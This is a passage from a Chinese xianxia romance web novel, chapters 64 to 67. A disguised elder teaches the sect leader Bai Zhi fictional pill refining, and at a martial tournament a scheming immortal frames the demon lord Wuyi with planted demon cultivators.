悬着的一颗心缓缓坠地,她又忽的松了一口气。
不可能,无奕绝不会这样,这个人冷漠孤傲。
他毫不掩饰自身的锋芒,身上的光芒仿佛千万根小针,光是对视就会让她不自觉打个寒颤。
那双长眸静若幽潭,透露着冷峻之色,甚至杀机凛然,绝不会是此刻这般温柔。
这样的人,何时主动关心过别人?更别提扶人。
想明白后,她才安心些。
但即便如此,她只是心生烦闷才多说了些,此人的回答却实在怪异,白芷很快镇定下来,意识到此人恐怕藏着些秘密。
她干咳一声,退离几步:“……对不起,是我多言了,不该和长老说这些的。正事要紧,我们先移步炼丹房,请长老不吝教学。”
他还是站在那里,也没有再靠近,只是神色平静的点了点头:“好。”
64. 第 64 章
尽管白芷境界不俗,但术业有专攻,她还是搞不定这幅小小固培丹配方。
好在几番周折,终于寻到能够教授她炼制此药的好心人。
白芷带着无名长老走至丹房。
刚推开门,便觉一阵余热袭来,显然这里刚有弟子炼过丹。
丹房样式也是按照旧宗门一比一建造的,除去隔壁山头那间供白芷炼丹的实验室,天璇宗上的丹房总共有三个。
眼前这间是最简陋的,丹房里配备的丹炉最寻常,炼制的丹药也最普通。
一般来说,此丹房一日就能出好几炉廉价丹药。
但这可并不是小弟子怠慢,而是白芷的特殊要求。
只因白芷还是天香时,曾当过天璇宗外门弟子,那时便是在这间房看守丹炉。
于是当她重建宗门,踏入这间丹房时,如隔世相见,对周围一切都感到十分熟悉。
仿佛一转头,炉旁的木架子上,还摆着那本叫《启天记事》闲书。
再一坐下,就可以和几个外门弟子就着炉火闲聊。
故而白芷经常来此间房炼丹。
全宗门的人都知道掌门偏好这里,弟子自然也准备了这间丹房。
屋内显然是刚炼过丹,四周已经收拾干净,角落堆着扫拢的丹砂。
一旁木架上摆放着一只木筐,里面有几株洗干净的常见药草。
无奕走进,见丹炉虽然刚用过不久,但触及铜炉壁并不烫手,只感到温和的触感,显然是水炼之术。
再看白芷命弟子提前准备的草药,有青盐、葛根、牛黄、甘草等,其实已经准备的差不多了,只在细微上略有差池。
无奕将每一株草药拿起检查,随后淡淡道:“其实固培丹又叫三花固培丹,你将其余配方都研究出来了,却唯独少了三花,分别是火芝花、红花、奇木花,这三味虽不是主要药效所在,却是药效必不可少的催化剂。”
听到催化剂三个字,白芷恍然大悟。
以往自己虽然无法炼制出成品固培丹,却曾经炼出过比固培丹药效差一些,十分相似的丹药,当时一直找不到问题所在。
她原以为是火力太猛,这才改用水炼术尝试,结果是配方缺少了关键物品。想来自己努力了许久,却走错了方向。
她略有吃惊,当即感谢:“原来是这样,白芷感谢长老指点配方。”
无名长老一说,她就从门外招呼来一个小弟子,命他去药庐取来这三味药花。
好在这三种药虽然名贵,却并不珍稀,十几金就能买齐。
如今天璇宗在白芷手底下蒸蒸日上,宗门定期就会向镇上回春堂供货盈利,倒也不缺这点金。
等药材备齐,就可以开始炼制了。
无奕看了一眼铜壁泛红的丹炉,轻笑一声,随手一指。
指尖凝出一道寒芒,随即向丹炉飞去,落在铜壁上后,整座丹炉瞬间冷却降温,恢复寻常。
他将草药放回原位:“还有,固培丹不能用水炼术,水炼术会使火芝花药效完全消失,就算炼成,也不过是药力堪堪的下品丹药。”
白芷看向丹炉,惊叹于他一眼便认出了自己之前用过水炼术。
《阴水录》本就是弥恒派独门丹法,如今更是几百年未出世的失传绝技,他居然轻易看出,可见丹术造诣深厚。
她一边又有些羞愧,想来自己钻研了这么久,配方出错也就算了,炼制方法也错了。
她确实对丹术一窍不通,即便境界相比以前已是天壤之别,还是无法纯熟的控制丹炉火候。
刚从孙昭那里学到《阴水录》时,白芷原以为既然无法控制火候,借用水势缓冲不就行了,曾经大喜过望,认为摸到了丹术的门道。
谁知水炼术虽然用的人少,不失为一门独道功法,但丹术主流还是火炼,只有控火技巧精准,才能炼制出极品丹药。
她要紧唇瓣,顿时有些丧失信心:“原来我从孙昭姐学到的水炼术不但没有派上用场,反而白白浪费药草。”
无奕望了望她,轻笑一声:“不必自责,你在丹术进境上已经很快了。”
“掌门,这是你要的东西。”等待片刻,弟子就将确实的三味药花取来了。
草药已经备齐,无奕没有多言,只是将药草放入丹炉,朝着丹炉传去一股沛然的法力,铜制炉壁开始微微泛红。
她朝丹炉看了一眼,只见炉火已经瞬间烧的旺了起来。
那几味药草都被丢入炉中,受高温烘烤,叶子微微蜷曲,卷在一起。
开炉就用这么旺的火力,她正十分惊讶。
他却缓缓靠过来,抓住了她的手,另一只手稳稳扶住她的腰,借她之手继续催动炉中焰火。
白芷先是不太习惯的犹豫一阵,下意识想将他推开。
但转念一想,这样更能体会控火的细节,自己也没必要这般,她没激烈地反对,也只当是默许了。
只见火芝花在炉中收到高温的激发,迸发出闪耀的赤红色,妖艳异常,但光芒转瞬即逝,不过片刻,再看已经暗淡下去。
“见到火芝花的光芒后,就可以增加火力,慢慢逐步增加。”他的声音十分轻柔,又贴的极近。
他安静抱着她,白芷倒不是说厌恶被他触碰,只是方才她就要和他吵起来,现在相处又这么亲密,实在有些怪异。
似乎还在他身上闻到了熟悉的香味,白芷有些心不在焉,但还是按照他说的一点点增加火力。
其实,教授丹药炼制分明只要口述,再不济将可将步骤用画面直接点入她脑海,等她现场炼制一遍,他再指点出其中错误也可。
白芷万万没想到,他竟然亲自带着她炼制,她一时间微微出神,没有集中注意力。
思绪翻飞的状态下,待到火力增加到巅峰,果然不慎失控。
那几味可怜的药草在丹炉中出现最后一个闪影,就瞬间被高温烘烤成了灰烬。
白芷吓得惊出冷汗,惊呼出声:“糟糕,我用的火力太过了!”
无名长老亲力教学,她还是将事情搞砸了。
白芷顿时有些不好意思,不知是因火光扑烤,还是面容胀红,她感到脸上微微发烫。
无奕几不可闻的叹一口气。
这是非常简单的控火术,但凡对丹术入门的弟子都能掌握,稍加练习就能十分熟练的施展。
他原以为
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,她重建天璇宗来,日日勤奋练丹术,怎么都已经熟练控火技巧,谁知还是马马虎虎。
但他还是丝毫没有生气,反而和颜悦色道:“没事,我来。”
无奕随手朝炉中一挥,炉中形成一股气旋,焰火和气旋融合在一起,将化为灰烬的药草凝聚起来。
灰烬随着气流,在气旋中央形成一团小型实体黑雾,黑雾越聚越小,最后变成一粒小球。
显然刚才的变故让他也费了一番力气,一时间没顾得上白芷,只是专心看着丹炉,不一会实体黑雾已经重新凝结成一枚丹药。
白芷怔怔看着他,只见那枚丹药在火光中重新聚集,他动作熟练,仿佛早就遇到过无数次这样的情况。
多亏他及时救场。
他的火炼丹术这般精妙,她方才对他的偏见已经消去了大半,平添不少尊敬之意。
“掌控火力时要专注,切忌火候过猛。”他拂去身上沾染的药渣灰尘,淡然道。
“好。”
无奕没说什么,又重新抓起她手,徐徐朝着丹炉输注火力。
白芷收回心神,紧盯着炉中火力,只见那枚固培丹逐渐显露出形态,丹身从墨绿色一直变为通体纯黑。
“开始慢慢收火。”他的声音就在耳边。
又过一会,火力已经快收的看不见,他继续道:“等丹粒通体纯黑时,一下子将余火收起。”
白芷不敢分心,操控火力渐渐微弱下去,直到炉中火光微乎其微,她轻吸一口气,将全部火力收走。
此刻,炉中再也没有一丝火光,丹药也失去控制从炉中掉落。
无奕继续朝炉壁射去一道寒芒,炉壁瞬间就冷却下来,回归铁青色。
白芷见他这番举动似曾相识,寻常弟子炼丹,出于节省灵力损耗考虑,出炉后都是等炉子自行冷却,唯独无奕喜欢直接用法术冷却。
这么做虽然更有利于出丹品质,却会白白耗费不少法力。
只是他做事通常只考虑结果,不会在乎那么多。
多年未见,自己还是对他这么熟悉。
白芷不禁感叹,除去毫不相干的样貌,和过分温柔的感觉,无名长老在某些地方都像极了无奕。
或许正是因为如此,他们才这么有缘分吧。
白芷心里也不知道是安心还是惶恐,思绪复杂。
短暂的出神又让她茫然,却发现无名长老的动作已经放下她的手,用温和的目光看着她。
他眸光虽略有深沉,却轻声道:“这就是固培丹的炼制方法。”
炼制结束了,白芷心中有些激动。
一看炉中一捧赤黑丹砂,中间就埋着那枚固培丹,她面色大喜,正要去丹砂中捡出丹粒。
他却按住她手,笑了笑:“现在还不行,差最后一步,等丹砂余热回温丹粒。”
固培丹的炼制方法当真复杂,难怪长老要借用丹炉亲自演示教学,她点了点头,听话的退回来。
又过半刻,待到丹砂也完全冷却至纯黑色,他轻轻拂开丹砂,只见其中一枚上品固培丹赫然出现其中。
白芷眼中顿时绽放出喜悦光芒:“是固培丹,我终于成功了!”
65. 第 65 章
几天过去,她已经基本掌握固培丹炼制方法。
白芷交代完宗门事宜,将天璇宗托付给乌星打理,只带几名精英弟子,就准备前往天剑门参加蓬山大会。
“你要随我一同去蓬山大会?”白芷看着万法。
万法轻抚她发丝,长睫微垂:“当然,我答应了帮你解除因果的。”
的确,只要能赢下蓬山大会,天璇宗的名字就会在修真界树立威望,如此一来,因果债也就顺势消除。
她垂下头去:“可是清虚天怎么办?”
他微微笑道,直直看着她:“我交给其余天极打理了,这几日仙界太平,没有别的事。”
他看着白芷,她却没有对应他的目光。
过一会,他又似想起什么:“对了,那位来自抱元谷的长老去吗?”
白芷遗憾的叹气:“他不愿去。”
不知是不是她的错觉,总觉得万法很满意这个答案。
他轻轻一笑:“那就好......”
白芷早向长老发起过邀请,但被拒绝了,显然他并不想参与蓬山大会,她也就没再强求。
临行前她还特意叮嘱乌星,一定要好好照顾无名长老。
虽然乌星点点头的样子总让她觉得不靠谱,但她也没时间可耽搁,今日便要启程。
......
这是半山林间一个掘出的水塘,泉眼连接汇聚了山上的活泉,用木勺舀去就会自动充盈,水满则溢,水质清澈见底。
这汪清泉养的四周植物茂密,看着颇赏心悦目。
无奕静静站着看了一会,这也是旧宗门时山上弟子拿来挑水的地方,没想到这个小水塘也还在。
听着水声,他心里渐渐平静了许多。
他依阶上了主峰山头,天璇宗已经被打理的井井有条,此刻白芷正与门内长老商量,准备蓬山大会事项。
他站在远处旁听。
这段时间,他已经把能教的丹术都教给她了,待到她带领天璇宗在蓬山大会夺得魁首,就能彻底解开因果回到仙界了。
可能就此他们将再也没机会见面,以前她都喜欢粘着他,现在他却连见她一面都成奢望。
站了一会,他便下山,一边盯着掌心幻化出那只紫纹笛,其实这只笛子修好后,他就没想过还能有还给白芷的一天。
与其说是想还给她,不如说自己留着做念想罢了。
他不擅长道别,趁她忙碌大会事宜,他现在离开天璇宗,就可以不打照面。
但山门在望,他又想起过往的种种疑点。
譬如为什么最开始转轮王能够布下三相阵这种仙界仙法。他离开碧岚宫后,转轮王又为何再度毫无征兆的复活出现。紫胜岛一战中,为什么万法尊首对他的敌意非常大。
如果他现在离开,这些问题恐怕永远都没有答案。而且直觉告诉他,蓬山大会上各方云集,万法也会一起去,或许真相也会浮出水面。
无奕脚步一顿,不禁犹豫。
虽然他不想让白芷知道自己的行踪,但他可以独自去大会,虽然多年不曾参战,隐藏气息这点小事还是绰绰有余。
他做好决定,转身就不见。
今日,天剑门山脚的客栈简直人满为患。
来自修真界各个宗派的弟子都会先在这里歇息一晚,明日上山参加蓬山大会。
他在大厅找个角落坐下来,隐去面容,换上一身不起眼的衣衫。此时天色已然微暗,无奕猜到万法尊首一定会找一间单独的房间修炼。
片刻后,果然听见白芷和万法熟悉的声音。
万法看白芷半晌,忽然说道:“与我一间房吧?可以一起打坐。”
白芷心中有些抗拒,摇摇头,随口找了个借口:“受因果相缠进益甚微,早已多时不修炼,还是不打扰尊首了。”
他慢慢抬起头,见正是白芷一行人。
白芷像心里仍有些忐忑,怕万法继续为难,好在万法没有再说什么,定好几间上房后,大家就分开回屋。
等所有人都离开,万法才朝着自己的房间走去,无奕隐去气息跟了上去。
万法在榻上坐下,便开始运行打坐,看路数正是仙界的术法无疑。
无奕站在屋檐一角,用神识探查屋中情景,在四周布下隔绝气息的法术,暗中查看,确保安全。
正当一切正常,不一会,屋内忽然出现一团黑雾。
黑雾在屋中渐渐凝聚,渐渐成几个人形。
无奕凝神一看,几位身着墨绿弟子服的修士出现在万法眼前,似乎都是魔族,境界只是刚突破藏胎,魔修出现在这里,陡然惹人怀疑。
“城王大人唤我们所为何事?”
无奕记得这声音,似乎是转轮王手底下使者之一,而且这几人唤万法城王,难道他的疑惑即将得到解决。
“此战势在必得,明日蓬山大会,你们去暗中帮助白芷取得胜利,切记小心行事。”衍决淡淡开口。
他已经等了太久,只要蓬山大会一结束,就能帮白芷彻底解除因果,他就能带她回到仙界。
无奕皱了皱眉,仔细倾听,转轮王手底下的人不至于连谁是王都认不清,难道万法就是衍决。
那几人面面相觑,没想到城王这么着急。
使者低头道:“城王大人,蓬山大会在天剑门举办,我们出手干扰......恐怕会有暴露的风险。”
衍决笑意不减:“暴露又如何,你们是魔修,再怀疑也不会到我头上。若是不慎暴露,你们就丢下几朵碧花,装作是碧岚宫的人。”
明日比赛场地上都是人族修士,忽然混进几个魔修当然起眼,但无奕此刻失踪不见,碧岚宫交由贾勉打理。
那帮人自顾不暇,暂时也没空管这里的事,还可以让碧岚宫再度树敌。
使者顿时意会:“城王英明,修盟本就和碧岚宫有仇,这么做简直是顺理成章。”
布置结束,几名魔修正要消失。
无奕收敛气息,准备离去,屋外檐角忽然传来响动,衍决抬手让转轮城弟子消失,自己当即放出神识探查。
不知是谁躲在暗处偷听了他的对话,此人必死无疑。
白芷正走在回廊上,步履略显焦急。
待到站定,她心神不宁的敲响了万法的房门:“尊首,你睡了吗?”
万法大惊,瞬间收回神识,眸色幽晦,白芷竟然来了,今日时机不对,只能之后再探查躲在屋外的人了。
他打开门,方才脸上的阴霾一扫而空,凤眸上挑,带着微微笑意:“怎么了?”
白芷闷闷道:“明日就要举办蓬山大会了,若是我没能带领天璇宗得到魁首,恐怕这因果也不算解完
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,那我是不是还要在这里呆很久......”
自从在天璇宗上遇见了无名长老,她总觉得此人言行举止都和无奕很相似,虽然对她十分温柔,还是让人生出一种莫名害怕。
近几日她传信询问乌星,魔界依然没有无奕的消息。
碧岚宫往事还历历在目,以前她还觉得耕耘天璇宗五十年转瞬即逝,不算漫长,现在她生出一种念头,想快点回到清虚天。
万法声音温柔:“你不会失败的,明日一过,我们就能回到清虚天,从今以后你修炼畅通无阻。”
他眼中似有点点星芒,看得人陷进去。
白芷听着他的话,心里莫名安心了些:“你怎么就如此肯定?”
“你练了这么久的丹术,若还不能成,这天地下也没人能成了。”他轻笑出声,忽然将她抱在怀里。
这么近,可以嗅到他身上气息,白芷本想推开,但感觉被他哄得迷迷糊糊,手伸出去又收回。
“可我丹术造诣并不出色,如果明日失败......”她怔怔出神。
尊首虽然对自己很好,她却并没有那种爱慕的心思,只怕要让他失望,尊首心仪白泽先祖,或许是自己和白泽长得极为相似,这才对她生出怜惜之意。
万法轻握她的肩膀,与她四目相对,双眸柔若春水:“有我在,一定会让你夺得魁首。”
思路纷乱,此刻她只想快些离开天璇宗,回到清虚天去当自己的快活仙。
半晌,她点了点头:“好。”
......
次日,蓬山大会在天剑门如期举办。
浣剑宗的青云剑开路,北刀派拿出狂雪刀坐镇,各路门派的精英弟子都在主峰齐聚。
“剑宗宗主到!”
天剑门的各位长老拥簇着宗主,几人皆是剑宗紫衣,神情淡然,手持名剑,缓步而行,端坐台上。
在场的所有弟子,连带到场的所有修士都一同起身,向天剑门宗主行礼。
白芷心中仍忧心着今日比武,险些没有跟上,待所有人都站起来,她也连忙跟着一起。
“诸位不必多礼,今日蓬山大会,请大家秉承公平公正的原则,修盟也会在一旁监督,绝不会因为在此地举办就向天剑门偏袒。还有,比武点到即止,请大家意在切磋,莫要见血光,如果出现异常,天剑门会出手阻止。”
坐下不少弟子忍不住议论起来。
每年的蓬山大会魁首都是天剑门夺得,所以宗门才众望所归当选修盟之首,恐怕今年也不例外。
但夺不得魁首,争夺个第二、第三名也是好的,坐下的诸多门派精英弟子,眼中都信心满满。
前方一座星光所聚的巨大原形平台,悬空在主峰广场正中,上百位来自各大门派的修者都坐在下方。
虽是星光汇聚,台子却并不刺眼,但隐隐能感受到其中蕴含的大量灵气,不愧是天剑门出手。
白芷正为比武台气势折服,坐在原位发呆。
今日万法尊首有事回仙界,乌星和无名长老都留在天璇宗,只剩下她一个人带领众天璇弟子,不知她能否抗下重任夺得大赛魁首呢?
心中忐忑,忽然有人拍她肩膀,递过来一盘点心。
“白师妹。”孙昭打了个招呼,在她身边坐下,“好些天未见,你的固培丹炼的怎么样了?”
66. 第 66 章
白芷有些意外,温声笑道:“孙师姐,已经学的差不多了,只是......天剑门高手如云,我靠这些丹术拿个其他名次还差不多,魁首可能颇为困难。”
孙昭把点心随手放在木桌上,在她身旁坐下。
“怎么会!”孙昭亲切回应,“你不要妄自菲薄,我将《阴水录》都教给你了,这些天那个抱元谷的长老应该也教了你不少东西,相信自己。”
白芷顿时有些感动,但仍是忧虑:“可是丹术符箓还是自保居多,如果比强大的杀伤力,远远差其他器修一截,我都不知道该如何对敌......”
孙昭笑了笑:“你瞧那边。”
白芷顺着她指的方向看去,巨大的灵气圆盘上方有一只小香炉,上面插着一只香,每次燃尽后都会有专人施法替换点燃。
“那是什么?”白芷问。
孙昭看向她:“这是蓬山大会的计时器,一场比赛最多不可超过一刻钟,否则就按伤势较轻者获胜。”
白芷恍然大悟,她一直关注比赛结果,却忽略了重要的判负规则。
以往蓬山大会,鲜少有人会比赛超过一刻钟,往往迅速解决,因为灵台上不会禁锢大家的灵力,机制又是点到即止。
况且人族修士一般短寿,所以很难在境界上有所突破,比武自然也没有那么多强力杀招,所以很快便分出胜负。
自从大会举办以来,几乎没人注意到这个计时香炉,淡化了它设置的意义,可是孙昭却提醒了白芷。
白芷嘴角上扬:“我明白如何用丹术取胜了。”
两人又闲聊几句,很快就轮到白芷上场。
大会是两两对局淘汰制,所以这只是白芷的第一场比试。
主持大会的长老介绍完对面,又向众人介绍白芷:“这位是来自天璇宗的丹修兼符修白芷。”
台下一片讨论声。
“蓬山大会不是只允许使用本家功夫吗,丹修来凑什么热闹?”
“丹修?真少见,招式太被动,也就只能啃啃丹药贴符箓了。”
对面的北刀派弟子见她一幅柔弱身子骨,叹气一声:“你如果不行记得及时喊停,我保证不伤到你。”
白芷点了点头,回答却很倔强:“还没比呢,你怎么知道我不行?”
她一句话把对方噎了回去,北刀派弟子叹气摇头,也不再多说,索性比武台上见真章吧。
主持长老宣布比赛即将开始:“两位不得使用禁术,服用禁药,不得做任何影响公平决斗的事情,比赛途中若是......”
他将规则仔细念了一遍,最后说了一句:“二位准备妥当就可以开始了。”
白芷全神贯注盯着对手,点了点头。
她虽然境界远超对面,但她现在是代替天璇宗参加比赛,这场比试中只能使用普通丹修的手段,对她来说也是一场恶战。
北刀派弟子笑着扛起大刀,态度猖狂:“我根本不需要准备。”
下一刻,长老离开巨大圆台,焚香启动,比赛便算开始了。
北刀派弟子唤出狂雪刀,刀气夹杂着霜雪气息砍来,四周陡然而生暴风雪气旋,将白芷包裹其中,势压天地。
白芷看着眼前铺天盖地而来的风雪,扯了扯嘴角。
冰系法宝啊,老朋友了。
世间最厉害的冰系神剑她都领教过了,这算得了什么?
她当即服下固培丹先稳固自身根基,一粒下去全身轻盈,这场风雪气旋表面上气势唬人,实则弱点在中央。
只要稳稳停在气旋正中,就能将伤害将到最低。
她开神识稍加感知,而后借用符箓保护身体,迅速找到风雪眼,稳固身法停在中间。
北刀派弟子心想传闻不假,这位天璇宗掌门人虽然丹术一般,境界却不低,能够在风雪气旋中迅速捕捉旋眼的人当世罕见。
只可惜,就算境界再高,没有合适的招式,也难以将一身修为施展出来,凭着几张符纸,她休想赢下此战。
见气旋无法对白芷造成伤害,他大喝一声,施展出一道更为凌冽的刀气,直接破开风雪气旋倏忽而至!
施展术法的一瞬间,凌冽寒风将白芷发丝吹开,双眼都被风雪蒙蔽,快要无法睁开。
她正欲跳开,谁知眼前招式不过是个幌子,狂雪刀到眼前的同时,对面的术法也彻底成形了。
白芷身后忽然出现一道风雪屏障,逼得她无法后退。
狂雪刀虽不是极品,也算冰系法宝的上乘武器。
这一刀下去可以将巨大灵台劈出一道深深的沟壑,台下不少人为这位丹修小姑娘捏把汗。
无奕长眸深邃,站在远处一座建筑屋檐之上,观看巨大圆台上发生的一切。
他是为调查万法尊首的真实身份而来,本以为万法派来的人能够保护她,谁知那几名魔修实在草包,根本没注意到她身边危险将至。
白芷的境界抵挡这招不在话下,只怕她不想动用仙术。
形势危急,他又不可能看着她受伤做事不管。
没有别的好办法,只能先施法将她即将遭受的伤势转移到自己身上,否则她不肯使用仙法,又不愿输掉比赛,这招下去必定重伤。
无奕抬手借紫纹笛急射去一道寒芒。
白芷没有注意到一片风雪中,一缕几不可查的暗色光芒融入她背后,渐渐包裹她全身。
下一刻,狂雪刀已经逼至正面。
她胡乱吃了几粒固培丹下去,硬生生抗下了狂雪刀正面一击!
万法布置在暗处的魔修正看着赛况,随时施展秘术帮助白芷获得胜利。
又见狂雪刀太快,几人又要维持基本法术藏匿踪迹,来躲过修盟监视。
他们甚至没来得及出手相助,狂雪刀已经砍向她,几人吓得脸色苍白,若是白芷死了,城王必定不会放过他们。
“完,完了……”
北刀派弟子沾沾自喜,这一刀名为风雪寂,就算养神期的修士拼尽全力也只能堪堪挡下。
眼前的小姑娘虽然境界不低,却只能硬磕丹药肉身抵挡。
丹药起效也慢,这一刀劈下去,她必定重伤无力再战。
北刀派弟子撤去将白芷禁锢在原地的风雪屏障,只见一片茫茫雪色逐渐散开,白芷神色镇定,毫发无伤的站在台上!
台下弟子皆是大惊:“好厉害的仙丹!怎么炼出来的?”
“
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这位道友,你方才使用的仙丹我出一千灵石购买!”
白芷不可思议的看着掌心的固培丹。
……这种药这么厉害吗?
虽然她已经尽力研制,将传统丹药的缓发改为速发型,来应对台上的比试,但她也做好了一定会受伤的准备。
不过她毕竟是仙体,挨下这招对她来说不算什么,只是会有点疼罢了,大不了赢得比赛后再慢慢利用仙法治愈即可。
谁知风雪屏障散去后,一招风雪寂竟然没对她造成任何伤害!
无奕替她挨下这招,皱了皱眉,面色顿时苍白几分。
紧接着肤色晦暗几分,像消耗了元气,浑身灵脉像是被冰刺扎过一般,疼痛难忍。
这就是冰系法宝的威力,原来,当时她挨下那一剑,也是这种感受……
他手微微颤抖着,那道暗芒收回紫纹笛。
这招虽然也不会对他造成很大影响,但一时间也难以立刻治愈。
可他又不需要比武,等调查清楚事情,他就一人离开,无所谓这些。
他随手擦了擦唇边血迹,继续淡然看着远处灵台。
毕竟二人还在比试,白芷眼看计时香炉中的香火就快要燃尽,方才消耗太大,手中不剩下多少丹药。
虽然她这边状态更好,但是一直被对方耗下去,也不一定取得胜利,而对方刚使用过灵力消耗巨大的杀招,现在最好的办法就是趁他虚弱反攻。
白芷手捏符咒,召唤出一座普通的五行阵困住对方。
北刀派弟子笑道:“这种普通阵法也想困住我?”
他一跃而起,拿起狂雪刀向着阵法劈去,几招下去,阵眼已经飘摇不定,快要被破开。
白芷拿出一张熟悉的符咒,这个阵法太微弱,不足以将对手实力消耗殆尽,她自然只是拿五行阵拖延时间。
她两指捏起一张唤兵符,只要再拖延一会,她就能召唤来无数神兵,借此设立万剑阵。
万剑阵难缠无比,到时候对方就会被这座阵法困死,直到比赛结束,她就能夺得胜利。
虽然丹修借用强力符咒确实能对敌,但在实战中越是强大的符咒越需要极长施法时间,而且往往需要付出不小代价。
战局瞬息万变,这种情况下施展强力阵法,自己先重伤,有这种功夫对面早杀过来了。
可惜五行阵果然弱了点,没能将狂雪刀困住,就差一点点,刀气划破阵法,迅速向白芷砍来!
白芷还没能施法完毕,她只能用身法躲避对面招式。
这种做法非常冒险,此刻应该停止施法改用老办法消耗术,只因符咒在施法途中她的浑身法术都倾注其中,不剩下多少拿来自保,如果不慎被砍伤,她就再没有翻盘机会。
刀气凌冽,白芷身法步步后退,忽然一下没完全避开,刀光闪过,她右手捏着兵符的指尖被割伤。
伤口虽然不大,却受刀气影响很深,鲜血留下,渗透进唤兵符里。
“糟糕。”白芷吓得拿起符纸一看。
符纸沾染了她的鲜血,不知道还能不能起效,若是这张唤兵符失效,她就再也没有赢的机会了!
不知为何这一幕好像有点熟悉。
67. 第 67 章
说起来,很久以前她和无奕被困在幻境里时,这种符咒也沾染过一次鲜血,那次,这张符纸变成了血画符,后来......
符纸忽然被鲜血化作的烟火,怦的一下点燃,起初只是一点豆大的光焰,最后逐渐燃烧的愈来愈烈。
到最后,符纸已经不见踪影,只剩一团烟火,飞到半空中,将四周的精气都全部聚集,燃烧殆尽。
北刀派弟子愣在原地,不知她施展了什么法术,拿着狂雪刀一副防御姿态,确保自己不会受伤。
在火焰完全燃尽后,一把剑陡然从天而降深深扎进灵台中央。
主持长老一脸惊骇:“这是什么兵器,竟能将比武灵台刺出这么深的口子?”
白芷惊讶的看着眼前那把熟悉的剑,伸手就要拔起,又收了回来。
眼前一切仿佛只是幻象,心中还残余些害怕,指尖也微微颤抖,这把曾经狠狠贯穿进她腹部的剑,停留在面前。
她不敢相信的握上剑柄,缓缓注入仙力,马上就吓得松开。
这真的是昆仑雪!
谁不知昆仑雪是何人配剑?
台下众人大惊,天剑门宗主第一时间发现异样:“是昆仑雪,无奕在这里!大会暂停,修盟听令,速速搜寻戒备,有魔修扰乱大会现场!”
无奕皱起了眉头,他已经很久没有使过这把剑了,今日竟然因为白芷比武中受伤滴血入符再一次被召唤了过去。
他险些忘记了白芷和他血脉相连这件事。
天剑门带领修盟弟子当即封锁山头,宗主放出法宝天元镜悬于高空俯瞰整座山头寻找可疑目标。
“你们去那边,不要放过每一个角落!!”
若是寻常,取回佩剑对他不在话下,可是他方才替白芷挨下一招风雪寂,眼下又已经暴露,绝不能再留在这里。
现在不是取回佩剑的时机,他只能先离开这里,其他事情日后再说。
无奕屈指施展一个结印隐去身形。他动作太急,牵扯伤口,呛咳了一声,嘴角尽是血迹。
天上的云渐渐增厚,有一朵带着异常的灵韵,被白光包裹,急速朝这个方向飞来。
他正要离开,那朵云已经飞至眼前,云层散去。
下一刻,白芒闪过,他站立的屋檐一半都被削去,轰然倒塌,溅起一地尘土。
万法尊首召唤出天极法器一把拦住无奕去路:“诸位修盟弟子,魔头就在这里!”
观众席也渐渐起了骚动。
白芷听闻这道声音,在比武灵台上不敢置信的转过身,万法尊首居然直接展露自己仙族的身份,还带来了清虚天弟子。
先前他没有出现,难道是早就准备好了此刻抓捕无奕?
白芷一边思索,一边目光穿过在场众人,落在远处遭受围攻的无奕身上。
与此同时,修盟弟子也在山头揪出了几位藏匿行踪的魔修。
几人迅速将魔修抓获,押解过来喊道:“队长,宗门内查出几名魔修,想必是无奕的手下,出自碧岚宫!”
万法身后还站着几位清虚天弟子,惹得修盟众弟子不由得多看几眼:“足踏祥云,这是仙族,太好了,仙族也来帮我们了。”
无奕脸色铁青,手背抹去嘴角血迹,除去脸上伪装。
万法身姿悬浮半空,挡在无奕身前,手持法器露出挑衅而满意的笑:“仙家仁厚,是无奕害得天璇宗灭门,我来替你们主持公道。”
他布置这几位魔修就是为了栽赃陷害无奕,如今人证物证俱全,无奕插翅难逃。
修盟护卫队带领一众人族修士以无奕所立的檐角为圆心,将他团团围住。
天剑门宗主收回天元镜,手持佩剑直指无奕:“两百年前,你与碧岚宫部下里外勾结,将天璇宗屠杀殆尽,简直枉费云天真人对你一片培育苦心!”
孙昭不敢置信的冲出人群,眸光凌冽锋锐:“你毁我道侣大典,害我师父嵩山道长性命,你当宫主大喜,天璇弥恒却是大悲,整整七日满门举丧,今日我必要你给我师父偿命!”
孙昭握紧长剑,忽然想起,当年惨案的始作俑者除去无奕还有一只狡猾的花妖……
她的目光忽然看向白芷。
其实,在她第一次见到白芷时,心里就有所怀疑了。
可白芷做出重建天璇宗的举动,又实在违背常理,若是那只花妖,定不会做这种事。
罢了,先杀了无奕给师父报仇。
无奕对周遭的声音恍若未闻,怔怔地看着白芷,语调喃喃:“阿芷......”
方才见他样貌,白芷已经明白过来他费劲周折易容教自己炼制固培丹,对她隐瞒真实身份的事。
白芷无比震怒,冷漠道:“骗我很好玩吗?”
她目光从他脸上扫过,没有停留,而是径直越过他的肩膀,聚焦在修盟押解来的魔修弟子身上。
她转头愤怒质问道:“你为什么带着魔修破坏蓬山大会?”
蓬山大会对她意义非凡,她也在天璇宗上和他说过,为什么他还要将大会搞砸。
可她又忽然想起,他本就是这样自私的人,自然也不会顾及她的感受。
所以自始至终,他就不曾改变,涌现一股失望,眼中只剩心灰意冷。
无奕靠着站了一会,和她安静的遥遥相对,半晌,什么也没解释,竟露出一个微笑。
这一次,是她不信他了。
他已经明白了万法尊首的真实身份,可惜太晚了。
魔修出现在蓬山大会上,绝对与他脱不了干系,他本想一人离开,可衍决早就布置好清虚天弟子只等他露出破绽。
如今昆仑雪也不在身边,他又的确是重伤未愈,此战毫无胜算,没有进行的必要,也不必解释,衍决只是为除去他而来,对阿芷没有恶意。
能在临死前见再见她一面,也是值了。
白芷冷冷道:“死到临头,还有什么可笑的?”
他没有回答,风带来空中少许的血腥气息。
“这个,还给你。”他翻手幻化出紫纹笛,飞入白芷手中,她触之只觉冰凉。
白芷吃惊看着掌心,熟悉的白玉笛身,他竟将紫纹笛复原了。
往事浮现,心弦仿佛要被撕裂,只觉得一切都是错的,却又无法决断。
万法见状沉声道:“天剑门宗主,机不可失,请修盟与我即刻将此魔头伏诛。”
天剑门宗主与他对视点头,万法本想即刻要了无奕性命,谁知白芷站位与无奕离得很近,此刻贸然袭击万一不小心伤到她……
只能等白芷离开无奕身边,再立刻出击。
天剑门宗主也考虑到这一点,暂时命众弟子听从号令原地等候。
无奕明白时间不多了,他低声:“我知道你不会原谅我,那很好,我也不会原谅自己。”
白芷嘴唇颤抖,谁要他把这只笛子修好?
四周修盟守卫弟子和清
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虚天仙家弟子步步紧逼,无奕却一动不动。
白芷本以为他不过消遣自己几句便要离开,这才注意到无奕情况的反常。
原来困于此地并非他愿,而是因身受重伤。
可谁又能伤了他?
